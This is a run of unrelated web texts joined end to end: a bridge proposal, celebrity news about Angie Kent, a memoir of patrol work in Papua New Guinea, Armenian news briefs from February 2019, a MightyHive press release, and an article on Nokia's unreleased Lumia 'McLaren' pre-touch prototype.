Indeed, the full scale project includes multiple phases of waterfront restoration and expansion on both sides of the bridge, with new access points and street renovations at Manhattan Landing. Later phases include a Long Island Railroad Bridge with its own Vernon Boulevard landing.

The corridor's proposed route would connect Manhattan Avenue in Greenpoint and Vernon Boulevard in Long Island City, the exact site of a cool-looking double bascule drawbridge demolished in 1954. Because it is now 2019, the firm behind the proposed bridge says their project would create "a new neighborhood we call LongPoint," which: ugh. On the other hand, looks pretty neat!Gogglebox star Angie Kent is the new Bachelorette. Photo: Channel Ten

After telling Yahoo Lifestyle just weeks ago that shed be keen to be the next Bachelorette, Gogglebox star Angie Kent has officially landed the gig.

Well  its official  Im the new Bachelorette! the 29-year-old wrote on Instagram on Friday. Ive always been the gal who loves to make everyone laugh, but now I reckon its time to have someone laugh with me, rather than at me.

My heart is full, and after years of experiencing all life has to offer I finally have enough self-love and Im open to all of lifes amazing possibilities. So, if 20 or so fellas want to get to know me and potentially end up being my partner in life and love  I say why not?!

Who am I to turn down the chance to find love?! Lets give it a red hot go! Watch this space the adventure awaits!

Angie, who finished off with Gogglebox last season alongside partner-in-crime Yvie Jones, appeared on Im A Celebrity Get Me Out Of Here! just earlier this year.

Photo: Instagram/angiekent_

After being eliminated she told Yahoo Lifestyle that becoming the Bachelorette wouldnt be all too bad after she was turned off dating in 2018.

I always said, God no, but you know what, I think after having more time on television now and being on the other side of the couch I reckon I could be an alright Bachelorette, she told Yahoo Lifestyle at the time.

Im definitely open to finding somebody. I just turned 29 so home girls not getting any younger, so for sure, she laughed.

This content is not available due to your privacy preferences. Update your settings here to see it.

She and Yvie Jones finished up with Gogglebox last year, and then the opportunity arose to star on Im A Celebrity Get Me Out Of Here! on Channel Ten, the network that airs The Bachelor and Bachelorette.

Im done with Gogglebox now, Angie confirmed at the time. Ill always support the show and [am] hoping whatever comes my way Im leaving it up to the universe and seeing if theres more to come.

And if not, then its back to the drawing board.

Angie shot to fame on Gogglebox alongside Yvie Jones. Photo: Instagram/angiekent_

As for the kind of partner shes looking for, Angie said its what on the inside that counts.

Story continues

Im a big personality girl, she explained. I love someone who makes me laugh. Im not super big on looks at all.

So as long as if I did something like that, they didnt send in a bunch of meat [inaudible] d**chebags, I think I would be open to it.

I havent dated properly in years, she also revealed.

I had a little bit of a whirlwind last year that turned me off dating for a while but its a new year and Im a new woman so if I can take on the jungle, I reckon I can take on potentially dating again.

This content is not available due to your privacy preferences. Update your settings here to see it.

Got a story tip? Send it to lifestyle.tips@verizonmedia.com

Want more lifestyle and celebrity news? Follow Yahoo Lifestyle on Facebook, Twitter and Instagram.

Or sign up to our daily newsletter here.I was informed by other officers that the cream of the Districts outstations was Tufi but if I even hinted that Id like to be posted there I would end up somewhere else like Ioma, supposedly a less desirable place.

We spent our first five months in the Northern District (now Oro Province) at Popondetta. Drew Pingo who was on the same course as me had a young family and had already been posted to Kokoda, a reasonably civilised station with a road connection to Popondetta.

On Google Earth around 93230 S / 1483946 E parts of "my road" (as District Commissioner David Marsh referred to it) can still be seen.

SPRINGBROOK - My one-third of the 100km road-clearing work was the hilliest - from sea level up to a camp at a superb vantage point 1430 metres above sea level.

In Wanderings among South Sea Savages, Wilfrid Walker, writing in 1910 about the nearby coastal plains of the Kumusi River, said this district has the reputation of being one of the most unhealthy spots in New Guinea, and the natives round here are none too friendly. On the other hand, the time I spent there showed me the area does have its good points.

Tufi fjord from the station

Anyway, leaving Annette at Popondetta, it was with much satisfaction that on 12 May 1970 I set off on the government workboat Ubuna on temporary transfer to Tufi.

After nine and a half hours of diesel fumes and hot sun, ending with rough and windy weather past Spear Point, I arrived at Tufi in the dark.

Assistant District Commissioner Chris Vass and Patrol Officer Fif Favetta (who hoped to be transferred from the coast because he suffered badly from seasickness) met me at the wharf and we headed off on my first motorbike ride as pillion passenger on the station Honda 90.

Half way up the steep and narrow track with the extra weight at the rear, Fif lost control, careered off the track and stalled. I walked the rest of the way. Two weeks later I returned to Popondetta, packed our gear, and three days later returned to Tufi with Annette on permanent posting.

My first patrol out of Tufi was a familiarisation of the coastal villages, travelling with Kevin Bourke on Aizara chartered by the government, the Ubuna being out of commission since my arrival.

In Collingwood Bay south of Tufi, so we could pick out the reefs which were all but invisible from a distance, Annette and I sat on top of the wheelhouse wearing polaroid sunglasses which clearly showed the reefs as a darker colour.

We went as far as Kewansasap, then back to the north coast from Tufi around to Sebaga, and returned by canoe. At Sebaga, my Field Officers Journal records that Mr Bourke found a good anchorage in the mouth of the Foru River with a very pleasant view upstream to Mt Victory and Mt Trafalgar and the other way across Dyke Acland Bay to the Hydrographers Range.

Annette and I stayed on shore in the village rest-house and Kevin and his offsider Guy Potts invited us to dinner on board. As night came, so too did the mosquitoes. To escape them, we decided to move to the centre of the river.

Guy was attending to the anchor and Kevin asked me to push clear from the mangroves before he started the engine. While pushing on a mangrove tree, the gap unexpectedly widened as the boat swung into the current and I was left clinging onto the tree with deep crocodile-infested water all around and the boat disappearing into the darkness.

I was rescued from the tree but ultimately not from District Commissioner David Marsh who criticised my later Patrol Report as being a lengthy narrative approximating a travelogue rather than a report.

John Stafford, skipper of the Ubuna, knew the coastal waters of the Northern District extremely well and had a healthy respect for the reefs, the weather and his own and the boats capabilities.

Collingwood Bay is littered with reefs and the Naval Chart, based on incomplete surveys to 1968, was marked, Caution  Unsurveyed Areas with notations such as breaks, foul ground, shoal patches, black headed rocks, almost awash, discoloured patches, many shoals reported, and unexamined waters.

After returning to Australia, this Readers Digest All in a Days Work story by Edward Flanagen reminded me of Stafford:

I accepted an invitation to go out on a crayfish boat. The harbour was particularly treacherous because a pea-soup fog hid barely submerged rocks. Seemingly unconcerned, the skipper steered a zigzag course at his usual speed. "Attempting to make conversation, I finally said with a nervous smile, Do you know where all these rocks are? Nope, he said. A few minutes later, I asked, How do you know where to go? I know where they aint, he replied.

Although my first outstation posting was Tufi, a coastal paradise acknowledged as the pick of the Northern District stations, in total contrast a lot of my patrols took me inland to Safia in the adjoining Sub-District; a place conveniently avoided by other officers, apparently being considered the end of the earth.

It was a challenge, but I liked the country and its people. One of my assignments was to clear the Didana Range section of the road from Pongani on the coast to the Musa Gorge to allow drilling equipment access to a proposed hydro-electric scheme.

District Officer Bob Webster was coordinating administrative matters and airdrops of supplies from Popondetta, and five weeks into the patrol, I received a radio message that two recruits fresh from Australia were to join me. This meant that I had to remind the Mission at Safia that the airstrip would be closed unless the almost waist-high grass was cut (they had the contract).

Working with hand-held sarifs (grass knives) to sundown and from first light next day, the villagers had the airstrip ready by early afternoon for the plane with Assistant Patrol Officers Dave Stent and Jack Banbury.

I was acting OIC Safia, the place having been upgraded in name only to a temporary Patrol Post and some Comworks engineers were staying in the Patrol Hut. Dave and Jack were expecting to relax with them. However, being on patrol, I greeted them with orders to put what they needed into one patrol box as we were departing in half an hour.

Musa River as it enters the gorge looking towards Safia and the main range around Mt Obree

A little under an hour and a half brought us to the Musa (Moni) River. The fast flow would require that a raft be dragged laboriously upstream.

We didnt have time for this, so I decided on one crossing - the two native carriers with the gear and the three of us would swim across.

We stripped, leaving our boots on in case we landed further downstream than expected on the boggy river flats.

Although we five men were the only humans for miles, tact prevented me from arguing with Jacks reluctance to take off his underpants.

Being on an outside curve, the water was deep, swift and cold as we jumped in and were whisked away. Then pandemonium broke loose with loud calls from Jack.

Was it exhilaration or a cramp or a crocodile. I was sure he said he could swim. Obviously he wasnt snagged because here we were: two heads both hurtling downstream at an alarming rate, seemingly having abandoned any ideas of reaching the other side.

All sorts of thoughts flashed through my head, including District Commissioner David Marshs warning never to swim over the river in the Gorge. But, I had reasoned, the Musa was joined by the Adau and two other rivers as it narrowed into the Gorge and we were a few miles upstream.

Nevertheless, Jack was in real trouble. What we hadnt allowed for was that his wet underpants would slip down his legs ending up draped over his boots and holding his ankles together. This made it very difficult to keep his head above water.

Eventually Jack kicked his feet free and we made it to the other side, wading upstream in the shallows to the carriers. This whole episode had consumed more time than planned, so it was with quickened pace that we set off on the remaining two hour walk to my main camp at Nuaro, arriving at sundown.

Two days later (my wedding anniversary), after his gear had arrived from Safia, I sent Dave off on a good days walk to fellow Patrol Officer Drew Pingos camp in the lowland swamps, with a Highland labour line. Jack stayed with me to help with my three camps and labour line of over 100 local villagers.

Five months later in May 1972, I was transferred from Tufi to Kokoda, the station to which Jack was posted. Thankfully, Jack hadnt developed any fear of wild rivers. Gumying (gumi: rubber tube) down the Mambare River was a leisure time activity.

On another occasion, we surfed the swift waters swelling over submerged boulders under the Kumusi River bridge to pass the time away while waiting for a vehicle to come along (it was John Kienzle, son of Bert Kienzle of the Kokoda Trail fame, who eventually gave us a lift).

Being a larger station, and with the nearby Kienzle family venture, we had some good times at Kokoda. But nothing could ever match the challenges of my patrols to the mighty Musa, which invariably began with orders by radio from the District Commissioner:YEREVAN, FEBRUARY 13, ARMENPRESS. Spokesperson of the Foreign Ministry of Armenia Anna Naghdalyan has commented on the reaction of the U.S. Department of State over deployment of Armenian humanitarian mission in Syria.

ARMENPRESS reports Naghdalyan said,

"We have acknowledged the US State Department's statement on the deployment of the Armenian Humanitarian Mission in Syria. Its a long time Armenia and the USA make joint efforts to respond to the humanitarian disaster in Syria that is accompanied by a major crisis of refugees and deported people.

We reiterate that during the entire process of the Syrian conflict the world-spread Armenian people followed the fates of the civilian people, minorities, including the Armenian community in Syria with great concern. The Armenian public opinion displayed deep concern and compassion towards the sufferings of the civilian people and the demolition of the country. This is a country that had a key contribution to the survival of the Armenian people who escaped the genocide. General Consul of Armenia in Aleppo worked non-stop during the entire Syrian crisis. Armenia has granted asylum to over 22 thousand Syrian refugees and has provided 4 air cargos of humanitarian aid to the Syrian people. Following the establishment of relative tranquility and security Armenia plans to continue its hummanitarian mission, including by providing doctors and specialists for humanitarian demining aimed at supporting the improvment of the living conditions of the war-suffered civilian population of Aleppo. The Armenian mission has exclusively hummanitarian nature, is guided by the international humanitarian law and will coordinate its activities with the institutions and international partners offering humanitarian aid on site.

We share the concerns of the international community about the situation of the ethnic and religious minorities in the Middle East and highlight the continuity of humanitarian aid provided to Syria''.

On February 13, the media published a statement on behalf of the US Embassy in Armenia, in which the US State Department expressed its position on the Armenian humanitarian mission in Syria.

Edited and translated by Tigran SirekanyanYEREVAN, FEBRUARY 13, ARMENPRESS. Prime Minister of Armenia Nikol Pashinyan received Defense Minister of Cyprus Savvas Angelides on February 13.

As ARMEN PRESS was informed from the Office of the Prime Minister of Armenia, Nikol Pashinyan welcomed the visit of Savvas Angelides to Armenia and noted that Armenia is interested in developing and expanding cooperation with Cyprus in various spheres, including political, economic and defense. Nikol Pashinyan highlighted the active cooperation between the defense ministries of Armenia and Cyprus and the implementation of joint projects.

Savvas Angelides thanked for the cordial reception and noted that his country also highlights the continuous development of friendly relations with Armenia. The Defense Minister of Cyprus noted that he had effective discussions with his Armenian partners, the main directions of cooperation in 2019 were outlined.

The interlocutors discussed partnership in military industry, particularly in terms of technological solutions military education.

The sides also referred to issues of international and regional security.

PM Pashinyan thanked Cyprus for its positions on the Armenian Genocide and Nagorno Karabakh conflict settlement. Nikol Pashinyan highlighted the high-level mutual visits between the two countries and added that they will foster the cooperation in different directions. PM Pashinyan asked Savvas Angelides to convey his warm greetings to President of Cyprus Nicos Anastasiades.

Edited and translated by Tigran SirekanyanYEREVAN, FEBRUARY 13, ARMENPRESS. Newly appointed Ambassador of Armenia to Vatican Karen Nazaryan delivered the copies of his credential to Substitute for General Affairs to the Secretary of State of Holy See Archbishop Edgar Pena Parra on February 12.

As ARMENPRESS was informed from the press service of MFA Armenia, during the meeting the interlocutors talked about the ancient friendly relations between Armenia and Vatican.

Ambassador Nazaryan emphasized the importance of bilateral relations for Armenia with the Holy See and expressed readiness to expand the existing relations.

Congratulating the Ambassador on starting his diplomatic mission, Archbishop Edgar Pena Parra expressed confidence that the interstate relations between Armenia and Vatican will continue to develop.

The sides also referred to regional developments and expressed their views.

Edited and translated by Tigran SirekanyanYEREVAN, FEBRUARY 13, ARMENPRESS. The National Assembly of Armenia will continue the discussion of the Governments Action Plan on February 14, ARMENPRESS reports Vice Speaker of the parliament Lena Nazaryan said.

During the February 12 session of the parliament Prime Minister Nikol Pashinyan presented the Governments Action Plan approved on February 8. 53 MPs enrolled to ask questions to the Prime Minister.

During the February 13 session all the MPs asked their questions. Now the MPs will give speeches. 43 MPs have enrolled to give a speech.

According to the Constitution of Armenia, the Parliament approves the governments Action Plan within seven days by the majority of votes of the total number of MPs.

Edited and translated by Tigran SirekanyanYEREVAN, 13 FEBUARY, ARMENPRESS. The Central Bank of Armenia informs Armenpress that today, 13 February, USD exchange rate down by 0.77 drams to 488.85 drams. EUR exchange rate up by 1.28 drams to 553.28 drams. Russian Ruble exchange rate down by 0.02 drams to 7.44 drams. GBP exchange rate up by 0.82 drams to 629.83 drams.

The Central Bank has set the following prices for precious metals.

Gold price up by 24.24 drams to 20589.13 drams. Silver price up by 1.26 drams to 248.48 drams. Platinum price down by 98.16 drams to 12353.48 drams.YEREVAN, FEBRUARY 13, ARMENPRESS. Georgian Prime Minister Mamuka Bakhtadze says the negotiations with Russias Gazprom over a new deal on gas transit to Armenia through Georgia will be completed soon.

Georgia and Gazprom reached an agreement on transit conditions of gas to Armenia in January 2017. Until then, the Georgian side was getting the transit payment in the form of gas.

The new deal was signed for a two-year term. In the first year, Georgia was receiving gas for the transit, while in the second year the payment was entirely in the form of money. The term of the contract expired December 31, 2018.

The negotiations are underway. Talks are carried out by the ministry of economy, and lets wait for its results. I think these negotiations will be completed soon. Our stance is the following: Georgia must improve its positions in this contract. Certainly, the starting point will be our national interests and our energy independence, Bakhtadze said during a news briefing in Tbilisi, according to Sputnik News.

Georgia doesnt buy Russian gas since 2017. Gas is supplied to Georgia by Azerbaijan.

Edited and translated by Stepan KocharyanYEREVAN, FEBRUARY 13, ARMENPRESS. Three scientists have been honored in Armenia with the 2018 Viktor Hambardzumian International Science Prize. The prize, named after renowned Armenian scientist and astronomer Viktor Hambardzumian, is being awarded once every two years to outstanding scientists having significant contribution in physical-mathematical sciences from any country and nationality.

The winners of the 2018 prize are Dutch astronomer Edward van den Heuvel (Professor at Pannekoek Astronomy Institute of the University of Amsterdam), Russian scientist Alexander Tutukov (Professor at Institute of Astronomy of Russian Academy of Sciences), and Russian scientist Lev Yungelson (Professor at Institute of Astronomy of Russian Academy of Sciences).

Prime Minister Nikol Pashinyan personally awarded the prizes.

We fully realize the importance of this prizes reputation. Its value includes being accepted by the scientific community, the names of renowned scientists, who will become laureates and will capture their deserved place next to the glorious name of Viktor Hambartsumian. The more glorious scientists win this prize, the more confidence and international reputation towards it grows. Many are asking, how is it that the small country of Armenia has put out such a major scientific award. Being a newly independent state, Armenia, since the most difficult years, and now also, continues to attach importance to the development of science, continues having its place among leading countries, Pashinyan said.

Armenian Academy of Sciences President Radik Martirosyan, chairman of the international commission of the award, said they received 14 different proposal-presentations from science academies and other major scientific centers for consideration. The commission decided to award the prize to the group of scientists who were nominated jointly by the Pannekoek Astronomy Institute and the Institute of Astronomy of the Russian Academy of Sciences For their pioneering studies of massive binary stars, in particular the formation of relativistic binaries and gravitational-wave sources.

Armenia, like my country of the Netherlands, is also a small country, said Edward van den Heuvel. But in astronomy Armenia isnt small at all. Armenia has given numerous world famous scientists, who are working in many countries of the world, namely in Germany, Spain, the US, and certainly in Armenia, he said, thanking for the honor.

Yungelson, thanking for the award, said he will use the money of the prize to support astronomical research, also for young astronomers.

The prize is awarded since 2010.

The international commission of the prize includes Nobel laureate Brian Schmidt, Professor Yervand Terzyan, Professor Vahe Petrosyan and others.

The winning group of the prize receives a 300,000 dollar prize, out of which 100,000 dollars will be used in Armenia in the next two years for the development of astrophysics, relating physics and mathematics.

Edited and translated by Stepan KocharyanSAN FRANCISCO, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Leading media consultancy MightyHive today announced the opening of a new office in Tokyo, Japan, as the company continues expanding its presence in the Asia Pacific (APAC) region. MightyHive has already established offices in Singapore, Sydney, Australia and Auckland, New Zealand. The Tokyo location will allow MightyHive to extend the sales and service of its integrated programmatic buying and analytics approach into Japan, a key area of programmatic growth. In fact, research conducted by Digiday recently estimated Japans programmatic market to reach $2.54 billion annually by 2020.



MightyHive provides consulting and services in the areas of media operations and training, data strategy and analytics, to help marketers and agencies fully realize the potential of advanced marketing and advertising technologies. MightyHives solution helps advertisers take greater ownership of their platform relationships, enabling more transparency and agility as they work to address increasing consumer demands for relevance.

The company plans to add 25 full time employees to the Tokyo office by the end of the year.

To help our Japanese clients take greater control of their programmatic operations, its critical to provide them with local talent, said Chris Martin , chief operating officer and co-founder of MightyHive. The World Federation of Advertisers 2018 study of the worlds 13 biggest ad markets identified Japan as a maturing market in programmatic. We are excited to offer the focused attention and support these companies need to take advantage of the opportunity here.

For more information or to get in contact with a MightyHive representative in other regions, contact questions@mightyhive.com.

About MightyHive

MightyHive is a new breed of media consultancy that partners with global brands and agencies seeking transformative marketing results in a time of massive disruption and opportunity. Recognized as a global leader in advanced marketing and advertising technologies, MightyHive provides consulting and services in the areas of media operations and training, data strategy and analytics. The company is headquartered in San Francisco, with offices in Auckland, London, New York, Singapore, Stockholm, Sydney, Tokyo and Toronto. In 2018, MightyHive merged with S4 Capital plc (SFOR.L), a new age/new era digital advertising and marketing services company established by Sir Martin Sorrell in 2018.Published by Steve Litchfield at 7:24 UTC, February 13th 2019

Guest writer By Michael 'Mivas_Greece' (surname withheld by request) brings us the first part of a tale of prototypes (one of which he has access to) and what might have been, featuring some of the various uses of Nokia's 'Pre-Touch' technology. A Lumia 1030 anyone? Part two of this feature will be published in due course.

The year is 2013. A new chapter for Nokia after the last hurrah of Symbian with the legendary and unique Nokia 808 PureView. Despite abandoning an OS that was a king once (and is still popular in the enthusiast community, e.g. with the SIStore and Delight team), Nokia had something fresh and different to present in the mobile industry. Windows Phone 8/8.1, in combination with unique, colorfully designed and tough unibody Nokia devices. Something completely different from the competition. After releasing the "most innovative smartphone of the year" (Lumia 920), Nokia transferred and readapted the technology of the Nokia 808 PureView into the other legendary camera phone, the Lumia 1020. But they were already planning something much greater and innovative.





In 2013/2014, Nokia was working on something highly innovative. Something that would change the way we use our smartphones. A 'Game Changer' technology. The so-called '3D Touch' or 'Pre-Touch' or 'Projective Capacitive Touch'. A future technology that was never released...

Various leaks over the years have shown devices with codenames like 'Midas/Catphone' and 'Goldfinger'. They were some of the first Nokia devices built to support the '3D Touch' technologies and the first to have Windows Phone 8.1. The Catphone was an entry level Lumia phone and the Goldfinger was a high level Lumia phone. Although the glossy unibody Goldfinger device (an evolution of the Lumia 920 in terms of design) was designed to be released in the '30' series (e.g. Lumia 1030), later a different prototype was built to be released as the (actual) Lumia 1030 and the Goldfinger prototypes were used for testing purposes only.



Nokia Goldfinger, Image source; nokiamob.net



The new prototypes codenamed as Nokia 'McLaren' were of a different design, much closer to the lumia 1020, with a big camera module (which means that its camera was meant to be better than the one on the Goldfinger), but with bigger size and screen, and full aluminum unibody instead of polycarbonate, which makes it feel much more premium compared to the Lumia 1020 (or the Goldfinger). It also has smaller bezels, size and weight compared to the Goldfinger. The Nokia 'McLaren' would have been the Lumia 1030, the flagship of the Lumia '30' series (i.e. the 3rd generation of Lumia), the first with WP 8.1 out of the box and the first with the innovative, but never released '3D Touch' technology, if it hadnt been cancelled.





Nokia Lumia 1030, a.k.a. McLaren



Here are some specs that Ive collected from various sources and from my personal experience with McLaren prototypes:

3D Touch Screen, Projected-Capacitive Touch Technology

PureView Zeiss Camera (captures RAW/dng or Full Resolution + PureView mode), OIS, Dual LED flash, RAW (dng)

OS Windows Phone 8.1 (out of the box), Cortana, Downloadable Lumia Camera, HERE Maps/City lens/Drive/Transit etc

Dolby Digital Plus 5.1 (Surround sound) with bass filter

Directional Stereo Recording

Body Metal (Black, Silver, Grey) with plastic bottom (antenna)

Processor Qualcomm Snapdragon 800 (MSM8974) Quad Core Processor 2.3GHz

RAM: 2GB

Storage 32GB

microSD slot up to 128GB (SDXC compatible)

Display 5.5" LCD Full HD (1920 x 1080)

Battery BV-F4A, 2600mAh

Front camera 2MP, fixed focus

Dedicated camera button

HAAC microphones

SIM Single nanoSIM tray

Charging micro USB

Light sensor, G sensor, E-Compass, Proximity sensor, Gyro Sensor, GPS/AGPS

Bluetooth, WLAN, NFC

As we can see, its hardware was comparable to other high-end Lumia phones (e.g. the Lumia 930 or the Lumia 1520) but with various improvements. However, what makes it unique among the best Lumia and among all other smartphones today is its innovative never-released 3D touch technology.

Pre-touch tech...

Unlike any other smartphone out there, its groundbreaking 3D Touch digitizer allows sensing of nearby objects (i.e. our hands) without touching it at all. It recognizes with high accuracy the 3D position of up to 5 fingers at the same time and it utilizes no other sensor to achieve such a thing. No proximity sensor, no camera sensor, no nothing at all. Only its evolved 3D sensing digitizer. This offers the opportunity to use the device without touching it at all in many cases. The possibilities of such an innovative technology are endless.

Lets see some examples of what this technology offers. Although, some of them we have already seen elsewhere, I thought it would be nice to go deeper and present them here in more detail.

1. Complete non-touch experience.

This means that we can use our smartphone without touching its screen at all. In theory, we can swipe our fingers in the air or 'press' the air to fully use our smartphones. In fact, some firmware versions in the McLaren prototypes offer this experience. (Of course we can also touch the screen if we want, it is still a touch screen!)

Lumia McLaren running WP8.1

2. Exploding Tiles in submenus  'MixView' (This and all following features are available only in newer firmware)

This feature would simplify the way we use an app. It would make it easier and faster. Briefly, by using the Pre-Touch technology, (i.e. without touching the screen), we can hover our finger over an app, hold it there for a second and it explodes in smaller tiles - submenus. This means that without opening the app at all we already have access to the submenus of the app to have a quick look or open a specific submenu. As an example, we can see our favorite contacts and click directly one to call  this is way faster than opening the contacts, search for the contact then call. It is also more convenient than having many shortcuts of favorite contacts on our screen. Another example is the web browser. We can access our favorite sites or the last site that we opened without even opening the browser. This feature, although it supports the inbuilt Internet Explorer and Contact tiles, could in theory apply on any app to make our life easier!

Exploding Tiles demonstration on a McLaren using the Internet Explorer Tile



3. Grip-to-lock/unlock orientation

This feature does what it says. The 3D digitizer can detect objects not only above the screen, but also around it. In this case, without touching the screen, but only the shell from the sides, the grip and also the intensity of it can be measured and translated into a function, e.g. locking or unlocking of the screen orientation. A much faster and easier way to lock-unlock-change orientation without creating shortcuts and tapping again and again all the time or - even worse - looking deep into settings to change it.

Demonstration of screen orientation lock by grip sensing on a Lumia McLaren

4. Pre-Touch handwriting or typing.

Although I havent found a finished app, dedicated to either pre-touch typing (non-touch 'Swype' keyboard) or pre-touch handwriting & translating handwriting to typing words (only the second half exists in a few apps available for any phone), this is a feature that is possible with this technology and that would make writing much faster and easier. Through testing some apps, however, I could use this function for handwriting. With a pen and a further translation to words etc, this would be what I call the 'Galaxy Note Killer' feature that would surpass the famous Samsung Galaxy Note series and the precise and unique S-Pen.





Demonstration of random handwriting just with fingers on a Lumia McLaren

These are just some of the features I noticed myself, and when the second part of this 'Days of Future Past' feature is ready, I will also demonstrate one last feature, the Pre-Touch Camera that is extremely rare.

I have also found a very interesting video presentation (from 2016, I think) that shows a few more features that utilize further the Pre-touch sensing, with combinations of grip and hover, or touch and hover etc, offering an even better experience with the smartphone. These applications include Microsoft Office, an evolved web browser, a UI-less Media Player and even games.

I re-uploaded the above mentioned video (that I found on a Chinese website, bilibili.com) on YouTube, so that more people can watch it. I do not own this video and all rights are reserved by Microsoft. The video is at https://www.youtube.com/watch?v=eOSfynTghtQ but also embedded here:

All of these amazing gems of innovation and technology were started by Nokia and further developed by Microsoft I wonder what would have been if all this technology, taking full advantage of the innovative projective capacitive touch screen, had been released A game changer in the way we use our smartphones? A breakthrough in mobile industry? Something similar to what happened when the first iPhone came out? We will never know...

Michael Mivas_Greece, guest writing for AAWPYEREVAN, FEBRUARY 13, ARMENPRESS. Finance minister Atom Janjughazyan doesnt agree with opinions of certain lawmakers on the governments action plan being immeasurable due to lack of specific figures.

In addition to the governments action plan, the government is also submitting other documents to parliament, he told parliament today.

It is submitting a draft budget for every year, and the involvement and participation of lawmakers in these processes will be very significant because to what extent will we be able to make judgements on a given programs efficiency depends on it, the finance minister said.

The parliament is currently debating the governments action plan, and the main concern of opposition MPs is the fact that the program lacks specific figures.

Edited and translated by Stepan KocharyanYEREVAN, FEBRUARY 13, ARMENPRESS. Minister of Defense of Cyprus Savvas Angelides and his delegation visited the Tsitsernakaberd Armenian Genocide Memorial and Museum early morning February 13.

Angelides is in Armenia on an official visit.

The Cypriot defense minister paid tribute to the victims of the Armenian genocide, toured the museum and signed the honorary guest book, the Armenian Genocide Museum-Institute said.

Edited and translated by Stepan KocharyanYEREVAN, FEBRUARY 13, ARMENPRESS. PM Nikol Pashinyan has presented details surrounding the existing situation at the Teghut Copper and Molybdenum Mine (Lori province) and the Alaverdi Copper Smelting Plant.

Speaking in parliament today, the PM presented how the situation developed in the first place.

According to Pashinyan, the VTB Bank loaned 380 million dollars to the Teghut mine and Vallex Group, and most likely it gave the loan not without political interference. Then, Vallex Group, the operator of the mine, was unable to repay the loan and appeared on the path of bankruptcy.

We are involved in the process since May [2018] and commenced negotiations to help VTB and Vallex Group achieve an agreement. Last year, we achieved an agreement whereby VTB Bank must become the owner of the Teghut mine, and must also involve a well-known operator in copper sector who will exploit the mine, and in this context the smelting plant should also work, he said.

According to the prime minister these agreements were breached because of further processes.

When this process were to launch, a very strange story happened: some company filed to court about a 4000 dollar debt, and expected the court to freeze all processes for this 4000 dollar debt as a measure of ensuring the lawsuit. For this 4000 dollar debt, the court froze the property, movement and legal processes of a company and companies worth several millions of dollars. And this is why the previous agreements system began to collapse, he said.

Pashinyan says now the dispute between VTB Bank and Vallex Group has shifted to another level.

Now the negotiations are returning to point zero, because this operator that was presented, got scared and refused to enter the process. The problem is that the VTB-Vallex dispute has shifted to a new level, Pashinyan said.

He said the government will assist in solving this issue as soon as possible.

Edited and translated by Stepan KocharyanYEREVAN, FEBRUARY 13, ARMENPRESS. The gas tariff for consumers in Armenia will not be raised in 2019. The government has put a task of optimization of the Gazprom Armenia company and the system, Prime Minister Nikol Pashinyan said in parliament in response to opposition MP Arman Babajanyans question.

I have very clearly stated that the gas price will not be raised. The state is not buying gas, it is Gazprom Armenia that buys it. It is another matter as to at what price it is buying it. And the state deals with consumers. And we have said that the gas tariff will not be increased this year. And our negotiations concern the protection of our interests, Pashinyan said.

The PM said repeated that this topic requires discussions on the Armenian-Russian relations arena, as well as within the EEU.

The PM assured that the government will make these discussions and will protect Armenias interests.

We are putting a task in the direction of optimization and raising efficiency of Gazprom Armenia and this system. And we must work in this direction, he said.

Edited and translated by Stepan KocharyanYEREVAN, FEBRUARY 13, ARMENPRESS. Minister of Economic Development and Investments Tigran Khachatryan held a meeting with Ambassador of Poland to Armenia Pawel Cieplak, the ministry said.

The sides discussed the circle of commercial cooperation issues.

The ambassador informed the Armenian minister on several economic conferences that are due to take place in Poland.

Issues related to the organization of the regular session of the Armenian-Polish economic cooperation inter-governmental commission were also discussed. The sides noted that topics concerning the Armenia-EU economic relations will also be covered at the session.

The sides agreed to commence the preparations for the upcoming sitting.

Edited and translated by Stepan KocharyanYEREVAN, FEBRUARY 13, ARMENPRESS. On February 13, in accordance with the arrangement reached with the authorities of the Republic of Artsakh, the OSCE Mission conducted a planned monitoring of the ceasefire regime on the Line of Contact between the armed forces of Artsakh and Azerbaijan, to the east of Talish village of the Martakert region, Artsakhs foreign ministry told Armenpress.

From the positions of the Defense Army of the Republic of Artsakh, the monitoring was conducted by Field Assistants to the Personal Representative of the OSCE Chairperson-in-Office (CiO) Ghenadie Petrica (Moldova) and Ognjen Jovic (Bosnia and Herzegovina).

From the opposite side of the Line of Contact, the monitoring was conducted by Field Assistant to the Personal Representative of the OSCE CiO Mihail Olaru (Moldova) and Personal Assistant to the CiO Personal Representative Simon Tiller (Great Britain).

The monitoring passed in accordance with the agreed schedule.

From the Artsakh side, the monitoring mission was accompanied by representatives of the ministries of foreign affairs and defense.

Edited and translated by Aneta HarutyunyanYEREVAN, FEBRUARY 13, ARMENPRESS. Prime Minister of Armenia Nikol Pashinyan has no plans to go to mutual concessions with those who import goods for commercial purposes under the guise of personal goals, reports Armenpress.

You will import, make customs clearance, will pay the taxes. There will be no mutual concession for anyone. I will not let anyone to talk to me with a language of lies, the PM said during the debate of the governments Action Plan in parliament, in response to the observation of Vice Speaker Vahe Enfiajyan according to which importers complain over the new import and customs clearance procedures.

As for those who import goods not for trade purposes, Pashinyan urged them to be honest in case of doing business and discuss with them the tax issues.

Our government has showed its will on this matter, but it was abused. If people do a business, let them come and talk to us. We are at the stage of changing the Tax Code, and we say come, lets discuss, but do not deceive us, Nikol Pashinyan said.

In the border checkpoints of Armenia individuals have been notified that from January 1, 2019, individuals can have a luggage for personal use up to 25kg, the cost of which should not exceed 500 Euros.

Edited and translated by Aneta HarutyunyanYEREVAN, FEBRUARY 13, ARMENPRESS. The traffic department of the Georgian ministry of infrastructures told Armenias ministry of transport, communication and information technologies that on February 13, as of 10:00, the Stepantsminda-Lars highway is open for all types of vehicles, the ministry told Armenpress.

Edited and translated by Aneta HarutyunyanYEREVAN, FEBRUARY 13, ARMENPRESS. The financial burden of the United States is growing despite a strong economy, with public debt climbing to a record of more than $22 trillion as of Feb. 11, Bloomberg reported citing the U.S. Treasury Department report.

The national debt is mounting against the background of President Donald Trump debating members of Congress over funds for a wall along the southern border.

Experts are warning about the dangers of rising budget deficits.

Edited and translated by Stepan KocharyanYEREVAN, FEBRUARY 13, ARMENPRESS. Venezuela will start receiving humanitarian aid on February 23, opposition leader Juan Guaido, who declared himself as acting president, said, Interfax reported.

Guaido urged the military officials not to hinder the delivery of humanitarian cargo.

The opposition leader informed that 250.000 people have been registered in social networks to participate in the distribution of the humanitarian aid.

On February 12, Juan Guaido announced that Venezuela has received the first batch of humanitarian aid on Monday.

